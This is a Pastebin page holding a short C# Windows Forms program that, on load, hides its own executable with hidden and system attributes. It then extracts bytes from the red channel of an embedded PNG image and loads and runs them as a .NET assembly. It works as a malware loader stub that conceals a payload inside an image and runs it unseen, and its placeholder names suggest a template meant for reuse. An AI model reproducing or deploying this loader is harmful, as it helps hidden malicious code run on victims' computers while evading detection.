Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Drawing;
- using System.Windows.Forms;
- using System.IO;
- namespace Sanuksanan
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden | FileAttributes.System);
- List<byte> change_this = new List<byte>();
- Bitmap change_this2 = Properties.Resources.png;
- int red;
- for (red = 0; red <= change_this2.Width - 1; red++)
- change_this.Add(change_this2.GetPixel(red, 0).R);
- AppDomain.CurrentDomain.Load(change_this.ToArray()).EntryPoint.Invoke(null, null);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement